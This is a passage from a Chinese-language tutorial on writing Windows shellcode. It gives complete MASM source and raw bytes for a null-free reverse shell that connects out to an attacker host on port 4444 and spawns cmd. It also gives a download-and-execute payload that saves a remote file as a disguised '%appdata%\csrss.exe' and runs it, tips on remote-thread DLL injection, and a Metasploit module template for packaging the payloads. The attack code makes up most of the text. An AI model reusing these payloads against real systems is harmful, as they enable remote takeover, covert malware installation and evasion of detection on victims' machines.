Push Esi
Push Esi
Push 1
Push Esi
Push Esi
Push Eax
Push Esi
Call CreateProcessA
Push INFINITE
Push ProcInfo.hProcess
Call WaitForSingleObject
Ret
MainShellcode EndP
DATA:
Port DW 5C11H ;5C11H == 4444 (port 4444)
IP DB "127.0.0.1", 0
在反向 shell 中,我们从 shellcode 末尾的 DATA
中获取 IP。然后,我们调用 gethostbyname(name)
,它接受主机名(网站、本地主机或 IP)并返回一个名为 hostent
的结构,该结构包含有关主机的信息。
hostent
有一个名为 h_addr_list
的变量,其中包含主机的 IP。此变量位于 hostent
结构体开头的偏移量 0x1C 处。
所以我们从 h_addr_list
中获取 IP,然后将其传递给 connect API 以连接到攻击者服务器。之后,我们通过 CreateProcessA
创建命令 shell 进程,将标准输入、输出和错误设置为我们的套接字(我们的套接字而不是 connect API 的返回值)。
现在,我们可以创建绑定 shell 和反向 shell 有效载荷。现在让我们跳到我们拥有的最后一个有效载荷……下载并执行。
4.4 下载并执行有效载荷
创建 DownExec Shellcode 的方法有很多。因此,我决定选择最简单(也是最小)的方法来编写 DownExec shellcode。
我决定使用 urlmon.dll 库提供的功能强大且易于使用的 API,名为 URLDownloadToFileA
。
此 API 只接受 2 个参数:
URL
:下载文件的 URLFilename
:保存文件的位置(包括文件名)
如你所见,它非常简单易用:
Mov Edi, URLOffset
Xor Eax, Eax
Mov Al, 90H
Repne Scasb
Mov Byte Ptr [Edi - 1], Ah
Mov Filename, Edi
Mov Al, 200
Sub Esp, Eax
Mov Esi, Esp
Push Eax
Push Esi
Push Edi
Call ExpandEnvironmentStringsA
Xor Eax, Eax
Push Eax
Push Eax
Push Esi
Push URLOffset
Push Eax
Call URLDownloadToFileA
Mov Edi, Eax
Push Edi
Xor Ecx, Ecx
Mov Cl, SizeOf Startup
Lea Edi, Startup
Xor Eax, Eax
Rep Stosb
Mov Cl, SizeOf ProcInfo
Lea Edi, ProcInfo
Xor Eax, Eax
Rep Stosb
Pop Edi
Mov Byte Ptr [Startup.cb], SizeOf Startup
Mov Word Ptr [Startup.dwFlags], STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
Xor Eax, Eax
Lea Ecx, ProcInfo
Lea Edx, Startup
Push Ecx
Push Edx
Push Eax
Push Eax
Push Eax
Push 1
Push Eax
Push Eax
Push Esi
Push Eax
Call CreateProcessA
Push INFINITE
Push ProcInfo.hProcess
Call WaitForSingleObject
Ret
MainShellcode EndP
DATA:
URL DB "https://:3000/1.exe", 90H
Filename DB "%appdata%\csrss.exe", 0
在这段代码中,我们调用了 ExpandEnvironmentString
API。这个 API 会将类似于(%appdata%
、%windir%
等)的 string
扩展为环境变量中的等效路径(如 C:\Windows\...)。
如果你需要将文件写入应用程序数据、我的文档或 Windows 系统内部,此 API 很重要。因此,我们将文件名扩展为在应用程序数据(Windows Vista 和 7 具有写入权限的最佳隐藏文件夹)中保存恶意文件,文件名为 csrss.exe。
然后,我们调用 URLDownloadFileA
下载恶意文件,最后使用 CreateProcessA
执行它。
你可以使用 DLL 文件下载并开始使用 loadLibrary
。你可以通过使用 WriteMemoryProcess
和 CreateRemoteThread
将此库注入到另一个进程中。
你可以将 Filename string
注入到另一个进程中,然后调用 CreateRemoteThread
,将 LoadLibrary
作为 ProcAddress
,并将注入的 string
作为 LoadLibrary
API 的参数。
4.5 整合所有
以下代码使用 Masm 编译,编辑器是 EasyCode Masm。
.Const
LoadLibraryAConst Equ 3A75C3C1H
CreateProcessAConst Equ 26813AC1H
WaitForSingleObjectConst Equ 0C4679698H
WSAStartupConst Equ 0EBD1EDFEH
WSASocketAConst Equ 0DD7C4481H
listenConst Equ 9A761FF0H
connectConst Equ 42C02958H
bindConst Equ 080FF799H
acceptConst Equ 0C9C4EFB7H
gethostbynameConst Equ 0F932AA6DH
recvConst Equ 06135F3AH
.Code
Assume Fs:Nothing
Shellcode:
GETDELTA:
Jmp NEXT
PREV:
Pop Ebx
Jmp END_GETDELTA
NEXT:
Call PREV
END_GETDELTA:
Mov Eax, Ebx
Mov Cx, (Offset END_GETDELTA - Offset MainShellcode)
Neg Cx
Add Ax, Cx
Jmp Eax
;Inputs:
;-------
;Esi --> Kernelbase
;Ebx -->The ArrayOfAPIs
GetAPIs Proc
Local AddressFunctions:DWord
Local AddressOfNameOrdinals:DWord
Local AddressNames:DWord
Local NumberOfNames:DWord
Getting_PE_Header:
Mov Edi, Esi ;Kernel32 imagebase
Mov Eax, [Esi].IMAGE_DOS_HEADER.e_lfanew
Add Esi, Eax ;Esi-->PE Header Edi-->MZ Header
Getting_Export_Table:
Mov Eax, [Esi].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
Add Eax, Edi
Mov Esi, Eax
Getting_Arrays:
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
Add Eax, Edi
Mov AddressFunctions, Eax ;the first array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
Add Eax, Edi
Mov AddressOfNameOrdinals, Eax ;the second array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfNames
Add Eax, Edi
Mov AddressNames, Eax ;the third array
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.NumberOfNames
Mov NumberOfNames, Eax ;the number of APIs
Push Esi
Mov Esi, AddressNames
Xor Ecx, Ecx
GetTheAPIs:
Lodsd
Push Esi
Lea Esi, [Eax + Edi] ;RVA + imagebase = VA
Xor Edx,Edx
Xor Eax,Eax
Checksum_Calc:
Lodsb
Test Al, Al ;Avoid the null byte in Cmp Eax,0
Jz CheckFunction
IMul Eax, Edx
Xor Edx,Eax
Inc Edx
Jmp Checksum_Calc
CheckFunction:
Pop Esi
Xor Eax, Eax ;The index of this API
Cmp Edx, LoadLibraryAConst
Jz FoundAddress
Inc Eax
Cmp Edx, CreateProcessAConst
Jz FoundAddress
Inc Eax
Cmp Edx, WaitForSingleObjectConst
Jz FoundAddress
Inc Eax
Cmp Edx, WSAStartupConst
Jz FoundAddress
Inc Eax
Cmp Edx, WSASocketAConst
Jz FoundAddress
Inc Eax
Cmp Edx, listenConst
Jz FoundAddress
Inc Eax
Cmp Edx, connectConst
Jz FoundAddress
Inc Eax
Cmp Edx, bindConst
Jz FoundAddress
Inc Eax
Cmp Edx, acceptConst
Jz FoundAddress
Inc Eax
Cmp Edx, gethostbynameConst
Jz FoundAddress
Inc Eax
Cmp Edx, recvConst
Jz FoundAddress
Xor Eax, Eax
Inc Ecx
Cmp Ecx, NumberOfNames
Jz EndFunc
Jmp GetTheAPIs
FoundAddress:
Mov Edx, Esi ;save it temporary in edx
Pop Esi ;Esi --> PE Header
Push Ecx
Push Eax ;save the index of the API
Mov Eax, AddressOfNameOrdinals
Movzx Ecx, Word Ptr [Eax + Ecx * 2]
Mov Eax, AddressFunctions
Mov Eax, DWord Ptr [Eax + Ecx * 4]
Add Eax, Edi
Pop Ecx ;Get The Index of the API
Mov [Ebx + Ecx * 4], Eax
Pop Ecx
Inc Ecx
Push Esi
Mov Esi, Edx
Jmp GetTheAPIs
EndFunc:
Mov Esi, Edi
Ret
GetAPIs EndP
MainShellcode Proc
Local recv:DWord
Local gethostbyname:DWord
Local accept:DWord
Local bind:DWord
Local connect:DWord
Local listen:DWord
Local WSASocketA:DWord
Local WSAStartup:DWord
Local WaitForSingleObject:DWord
Local CreateProcessA:DWord
Local LoadLibraryA:DWord
Local DataOffset:DWord
Local WSAStartupData:WSADATA
Local socket:DWord
Local sAddr:sockaddr_in
Local Startup:STARTUPINFO
Local ProcInfo:PROCESS_INFORMATION
Local Ali:hostent
Add Bx, Offset DATA - Offset END_GETDELTA
Mov DataOffset, Ebx
;-----------------------------------------
;Getting Kernel Imagebase
;-----------------------------------------
Xor Ecx, Ecx
Add Ecx, 30H
Mov Eax, DWord Ptr Fs:[Ecx]
Mov Eax, DWord Ptr [Eax + 0CH]
Mov Ecx, DWord Ptr [Eax + 1CH]
Mov Ecx, DWord Ptr [Ecx]
Mov Esi, DWord Ptr [Ecx + 8H]
;-----------------------------------------
;Getting APIs
;-----------------------------------------
Lea Ebx, LoadLibraryA
Call GetAPIs
Xor Eax, Eax
Mov Ax, '23'
Push Eax
Push '_2SW'
Push Esp
Call LoadLibraryA
Mov Esi, Eax
Call GetAPIs
;-----------------------------------------
;Payload : Reverse Shell
;-----------------------------------------
Lea Eax, WSAStartupData
Push Eax
Push 190H
Call WSAStartup ;call to WSAStartup to start the connections
Xor Eax, Eax
Push Eax ;Flags = 0
Push Eax ;Group = 0
Push Eax ;pWSAprotocol = NULL
Push Eax ;Protocol = IPPROTO_IP
Push SOCK_STREAM
Push AF_INET
Call WSASocketA ;Create our socket
(your phone who will connect or listen to/from the client
Mov Edi, Eax ;save it in Edi
Xor Esi, Esi
Mov Ebx, DataOffset
Mov Cx, Word Ptr [Ebx]
Mov sAddr.sin_port, Cx ;Port Number
Mov sAddr.sin_family, AF_INET
Inc Ebx
Inc Ebx
Push Ebx
Call gethostbyname
Mov Ebx, [Eax + 1CH] ;IP
Mov sAddr.sin_addr, Ebx
Lea Eax, sAddr
Push SizeOf sAddr
Push Eax
Push Edi
Call connect
Push Edi
Xor Ecx, Ecx
Mov Cl, SizeOf Startup
Lea Edi, Startup
Xor Eax, Eax
Rep Stosb
Mov Cl, SizeOf ProcInfo
Lea Edi, ProcInfo
Xor Eax, Eax
Rep Stosb
Pop Edi
Mov Startup.hStdInput, Edi
Mov Startup.hStdOutput, Edi
Mov Startup.hStdError, Edi
Mov Byte Ptr [Startup.cb], SizeOf Startup
Mov Word Ptr [Startup.dwFlags], STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
Xor Eax, Eax
Push Ax
Mov Al, 'D'
Push Eax
Mov Ax, 'MC'
Push Ax
Mov Eax, Esp
Lea Ecx, ProcInfo
Lea Edx, Startup
Push Ecx
Push Edx
Push Esi
Push Esi
Push Esi
Push 1
Push Esi
Push Esi
Push Eax
Push Esi
Call CreateProcessA
Push INFINITE
Push ProcInfo.hProcess
Call WaitForSingleObject
Ret
MainShellcode EndP
DATA:
Port DW 5C11H ;5C11H == 4444 (port 4444)
IP DB "127.0.0.1", 0
End Shellcode
在这段代码中,我们首先获取增量并跳转到 MainShellcode
。此函数通过从 kernel32.dll 获取 API 开始,然后使用 LoadLibraryA
加载 ws2_32.dll 并获取其 API。
然后,它正常开始其有效载荷,连接到攻击者并生成 shell。
此代码是无空字节的。它只包含一个字节,即最后一个字节(字符串的终止符)。
现在,我们将看看如何将你的 shellcode 设置到 Metasploit 中,以便在你的漏洞利用中使用。
5. 第四部分:将你的 Shellcode 整合到 Metasploit 中
在这一部分,我将使用下载并执行 Shellcode 来将其整合到 Metasploit 中。要整合你的 shellcode,你首先需要将其转换为 Ruby 缓冲区,如下所示:
Buf = "\xCC\xCC"+
"\xCC\xCC"
所以,我把我的 shellcode 转换成了 Ruby 缓冲区,像这样(不包括两个字符串:URL
、Filename
):
"\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF"+
"\xFF\xFF\x8B\xC3\x66\xB9\x3F\xFF"+
"\x66\xF7\xD9\x66\x03\xC1\xFF\xE0"+
"\x55\x8B\xEC\x83\xC4\xF0\x8B\xFE"+
"\x8B\x46\x3C\x03\xF0\x8B\x46\x78"+
"\x03\xC7\x8B\xF0\x8B\x46\x1C\x03"+
"\xC7\x89\x45\xFC\x8B\x46\x24\x03"+
"\xC7\x89\x45\xF8\x8B\x46\x20\x03"+
"\xC7\x89\x45\xF4\x8B\x46\x18\x89"+
"\x45\xF0\x56\x8B\x75\xF4\x33\xC9"+
"\xAD\x56\x8D\x34\x07\x33\xD2\x33"+
"\xC0\xAC\x84\xC0\x74\x08\x0F\xAF"+
"\xC2\x33\xD0\x42\xEB\xF3\x5E\x33"+
"\xC0\x81\xFA\xC1\xC3\x75\x3A\x74"+
"\x37\x40\x81\xFA\xC1\x3A\x81\x26"+
"\x74\x2E\x40\x81\xFA\x98\x96\x67"+
"\xC4\x74\x25\x40\x81\xFA\xC1\x37"+
"\xE1\x43\x74\x1C\x40\x81\xFA\xC1"+
"\xF7\x63\xBE\x74\x13\x40\x81\xFA"+
"\x58\x29\xC0\x42\x74\x0A\x33\xC0"+
"\x41\x3B\x4D\xF0\x74\x21\xEB\xA8"+
"\x8B\xD6\x5E\x51\x50\x8B\x45\xF8"+
"\x0F\xB7\x0C\x48\x8B\x45\xFC\x8B"+
"\x04\x88\x03\xC7\x59\x89\x04\x8B"+
"\x59\x41\x56\x8B\xF2\xEB\x89\x8B"+
"\xF7\xC9\xC3\x55\x8B\xEC\x83\xC4"+
"\x8C\x66\x81\xC3\x6F\x01\x89\x5D"+
"\xE4\x33\xC9\x83\xC1\x30\x64\x8B"+
"\x01\x8B\x40\x0C\x8B\x48\x1C\x8B"+
"\x09\x8B\x71\x08\x8D\x5D\xE8\xE8"+
"\x24\xFF\xFF\xFF\x33\xC0\x66\xB8"+
"\x6C\x6C\x50\x68\x6F\x6E\x2E\x64"+
"\x68\x75\x72\x6C\x6D\x54\xFF\x55"+
"\xE8\x8B\xF0\xE8\x08\xFF\xFF\xFF"+
"\x8B\x7D\xE4\x33\xC0\xB0\x90\xF2"+
"\xAE\x88\x67\xFF\x89\x7D\xE0\xB0"+
"\xC8\x2B\xE0\x8B\xF4\x50\x56\x57"+
"\xFF\x55\xF8\x33\xC0\x50\x50\x56"+
"\xFF\x75\xE4\x50\xFF\x55\xF4\x8B"+
"\xF8\x57\x33\xC9\xB1\x44\x8D\x7D"+
"\x9C\x33\xC0\xF3\xAA\xB1\x10\x8D"+
"\x7D\x8C\x33\xC0\xF3\xAA\x5F\xC6"+
"\x45\x9C\x44\x66\xC7\x45\xC8\x01"+
"\x01\x33\xC0\x8D\x4D\x8C\x8D\x55"+
"\x9C\x51\x52\x50\x50\x50\x6A\x01"+
"\x50\x50\x56\x50\xFF\x55\xEC\x6A"+
"\xFF\xFF\x75\x8C\xFF\x55\xF0\xC9"+
"\xC3"
我通过使用 DataRipper
和 UltraEdit
程序,从 ollydbg 中的 shellcode 二进制文件创建这个 string
。我使用了一些查找/替换等操作来达到这种形式。
之后,你应该创建自己的 Ruby 有效载荷模块。为此,你将使用此模板,我现在将对其进行描述。
##
# $Id: download_exec.rb 9488 2010-06-11 16:12:05Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
# these are important
require 'msf/core'
#this is dependent of your shellcode type
#(Exec for normal shellcodes without any command shell
require 'msf/core/payload/windows/exec'
module Metasploit3
include Msf::Payload::Windows
include Msf::Payload::Single
#The Initialization Function
def initialize(info = {})
super(update_info(info,
'Name' => 'The Name of Your shellcode',
'Version' => '$Revision: 9488 $',
'Description' => 'The Description of your Shellcode',
'Author' => 'your name',
'License' => BSD_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Payload' =>
{
'Offsets' => { },
'Payload' =>
"\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF"+
"\xC3"
}
))
# EXITFUNC is not supported :/
deregister_options('EXITFUNC')
# Register command execution options
register_options(
[
OptString.new('URL', [ true, "The Description" ]),
OptString.new('Filename', [ true, "The Description" ])
], self.class)
end
#
# Constructs the payload
#
# You can get your parameters from datastore['Your Parameter']
def generate_stage
return module_info['Payload']['Payload'] + (datastore['URL'] || '') +
"\x90" + (datastore['Filename'] || '') + "\x00"
end
end
如果你不了解 Ruby,这段代码可能难以理解。但操作起来非常简单。你只需稍作修改即可使其适用于你的 shellcode。
要修改它,你应该遵循以下步骤:
- 首先,你应该添加你的 shellcode 的信息,包括有效载荷中的 shellcode 的二进制文件。
- 然后,你将在
register_options
中添加你的 shellcode 参数及其描述。 - 最后,你将修改
generate_stage
函数以生成你的有效载荷。你可以通过datastore['Your Parameter']
轻松获取你的参数,并将其添加到有效载荷中。 - 此外,你可以通过
module_info['Payload']['Payload']
获取你的有效载荷,并且可以像示例中所示那样合并你的参数。 - 最后,你将拥有可用的 shellcode。你应该将文件保存在其类别中,例如 \msf3\modules\payloads\singles\windows,以便它位于 windows 类别中。
如果仍有任何不清楚的地方,我已将我们创建的 shellcode 的 Metasploit 模块添加到源代码中。你可以查看它们并尝试修改它们。
6. 结论
今天,零日漏洞已成为任何新威胁的关键。任何成功漏洞利用的关键在于其可靠的 shellcode。
我们在本文中描述了如何编写自己的 shellcode,如何绕过 shellcode 的限制,如无空 shellcode 和字母数字 shellcode,我们还描述了如何将 shellcode 整合到 metasploit 中,以便在你的漏洞利用中轻松使用。
7. 参考文献
- Phrack 中的“编写 ia32 字母数字 shellcode”
- skape 撰写的《理解 Windows Shellcode》——2003年
- 《高级 Windows 调试:内存损坏第二部分——堆》作者 Daniel Pravat 和 Mario Hewardt - 2007年11月9日
8. 附录一 – 重要结构
typedef struct _PEB {
BOOLEAN InheritedAddressSpace; //+00
BOOLEAN ReadImageFileExecOptions; //+01
BOOLEAN BeingDebugged; //+02
BOOLEAN Spare; //+03
HANDLE Mutant; //+04
PVOID ImageBaseAddress; //+08
PPEB_LDR_DATA LoaderData; //+0C
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; //+10
PVOID SubSystemData; //+14
PVOID ProcessHeap; //+18
PVOID FastPebLock; //+1C
PPEBLOCKROUTINE FastPebLockRoutine; //+20
PPEBLOCKROUTINE FastPebUnlockRoutine; //+24
ULONG EnvironmentUpdateCount; //+28
PPVOID KernelCallbackTable; //+2C
PVOID EventLogSection; //+30
PVOID EventLog; //+34
PPEB_FREE_BLOCK FreeList; //+38
ULONG TlsExpansionCounter; //+3C
PVOID TlsBitmap; //+40
ULONG TlsBitmapBits[0x2]; //+44
PVOID ReadOnlySharedMemoryBase; //+4C
PVOID ReadOnlySharedMemoryHeap; //+50
PPVOID ReadOnlyStaticServerData; //+54
PVOID AnsiCodePageData; //+58
PVOID OemCodePageData; //+5C
PVOID UnicodeCaseTableData; //+60
ULONG NumberOfProcessors; //+64
ULONG NtGlobalFlag; //+68
BYTE Spare2[0x4]; //+6C
LARGE_INTEGER CriticalSectionTimeout; //+74
ULONG HeapSegmentReserve; //+78
ULONG HeapSegmentCommit; //+7C
ULONG HeapDeCommitTotalFreeThreshold;//+80
ULONG HeapDeCommitFreeBlockThreshold;//+84
ULONG NumberOfHeaps; //+88
ULONG MaximumNumberOfHeaps; //+8C
PPVOID *ProcessHeaps; //+90
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;
typedef struct TIB
{
PEXCEPTION_REGISTRATION_RECORD* ExceptionList; //FS:[0x00]
dword StackBase; //FS:[0x04]
dword StackLimit; //FS:[0x08]
dword SubSystemTib; //FS:[0x0C]
dword FiberData; //FS:[0x10]
dword ArbitraryUserPointer; //FS:[0x14]
dword TIB; //FS:[0x18]
};
typedef struct TEB {
dword EnvironmentPointer; // FS:[1C]
dword ProcessId; // FS:[20]
dword threadId; // FS:[24]
dword ActiveRpcInfo; // FS:[28]
dword ThreadLocalStoragePointer; // FS:[2C]
PEB* Peb; // FS:[30]
dword LastErrorValue; // FS:[34]
};
历史
- 2012年2月4日:初始版本